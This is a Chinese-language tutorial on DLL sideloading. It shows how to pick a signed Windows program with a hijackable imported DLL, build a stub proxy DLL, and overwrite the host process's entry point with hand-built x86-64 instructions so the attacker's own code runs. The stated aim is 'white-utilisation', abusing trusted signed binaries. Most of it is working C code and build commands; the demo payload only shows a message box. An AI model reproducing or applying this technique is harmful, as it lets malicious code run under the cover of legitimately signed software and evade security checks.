TLDR

这是一篇教读者使用 GetModuleInformation() 获取进程入口点，并向入口点地址写入精心构造的二进制指令，从而劫持目标程序入口点，实现白利用的教程。

本教程使用 MinGW-w64 工具链，目标平台是 Windows（x86-64）。改变构造指令的方式后，也可迁移到其它 Win32 环境内。

注意：被劫持的进程 不会 执行原有的代码。

前置知识

寻找目标程序

合适的目标程序需要在导入表（Import table）内定义至少一个条件合适的 DLL，即：

  • （Windows 7 以后）该 DLL 不在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 项目之列。
  • 该 DLL 对外暴露若干 C 函数（不以 @ 开头）。
  • 程序加载该 DLL 的时候会调用其 DllMain()

DLL 之所以需要出现在导入表中，是因为这些 DLL 会在控制流到达程序入口点之前加载，它们的 DllMain 也会在程序执行前执行。

如果读者的目标是「白利用」，目标程序最好带有有效的数字签名。

CFF Explorer 和 objdump -x 都可以查看可执行文件的导入表和导出表。

制作占位 DLL

AheadLib 可以方便的生成伪造 DLL 的代码，并把所有调用转发到真实的 DLL 中。利用 jmp 指令跳转到真实函数后，函数调用的栈平衡问题也迎刃而解。

本篇教程要制作的东西是「提线木偶」，不需要逐一转发调用。此情景下的栈平衡问题也很好解决：只要函数不返回，栈平衡问题就不会出现。

#define ENTRY(name) \
__declspec(dllexport) void name() { while (1) { Sleep(30000); } }

ENTRY(D3D11CreateDevice)

寻找入口点

PSAPI 中的 GetModuleInformation() 不仅可以传入 hModule 获取模块信息，也可以获取所在进程本身的信息。当 hModule 为 NULL 时，GetModuleInformation() 会返回进程本身（或称可执行程序映像本身）的模块信息。

GetModuleInfomation 的结果包含我们需要的入口点地址。

void* getEntryPoint() {
    MODULEINFO modInfo;
    BOOL res;
    res = GetModuleInformation(
        GetCurrentProcess(),
        NULL,
        &modInfo,
        sizeof(modInfo)
    );
    if (!res) return NULL;
    return modInfo.EntryPoint;
}

作者是怎么知道这些的呢？Kooi 告诉作者的（逃）。

劫持入口点控制流

向入口点写入一串跳转（或调用）指令，跳转到我们定义的函数里，就能劫持入口点了。构造指令的方式相对简单：使用 x86-64 的间接调用（或间接跳转）指令，跳转到我们定义的函数开头即可。

找到构造方式并不难：查阅 x86-64 汇编手册，或使用 GCC 内联汇编并观察输出结果均可。

注意使用 VirtualProtect() 令入口点可写，指令序列写入后再恢复原有保护状态（通常是 PAGE_EXECUTE_READ）。

#include <windows.h>
#include <string.h>
#include <psapi.h>
#include <stdint.h>

__declspec(dllexport)
void ourFunction() {
    MessageBox(NULL, "Hello world!", "Hello", MB_OK);
}

uint64_t pfnOurFunction;

__declspec(dllexport)
void hijackModule() {
    MODULEINFO modInfo;
    BOOL res;
    res = GetModuleInformation(
            GetCurrentProcess(),
            NULL,
            &modInfo,
            sizeof(modInfo)
    );
    if (!res) return;
    void* entryPoint = modInfo.EntryPoint;
    uint8_t codes[] = {
        // movabsq $0,%rax
        0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        // callq *%rax
        0xff, 0xd0,
        // retq
        0xc3,
        // nop
        0x90, 0x90, 0x90
    };
    pfnOurFunction = (uint64_t)ourFunction;
    memcpy(codes+2, &pfnOurFunction, sizeof(pfnOurFuncion));

    DWORD oldProtect;
    VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(entryPoint, &codes, sizeof(codes));

    VirtualProtect(entryPoint, sizeof(codes), PAGE_EXECUTE_READ, &oldProtect);
}

控制流进入程序入口点时，剩余的栈空间可能相当紧张。此时可考虑在 ourFunction 内执行 while (1) Sleep(1000); 死循环，并另行启动新线程执行代码。

使用 MinGW-w64 编译

x86_64-w64-mingw32-gcc-win32 yourcode.c -o yourcode.dll -shared -DWIN32_LEAN_AND_MEAN -lpsapi

-DWIN32_LEAN_AND_MEAN 可以避免引入不常用的头文件（如 MFC 等）。尝试劫持 winmm.dll 等 DLL 时，该选项必须启用。

如果读者希望这些代码在 Windows 7 及更早版本的 Windows 上正常运作，编译选项还需增加 -DPSAPI_VERSION=1。详见 GetModuleInformation#Remarks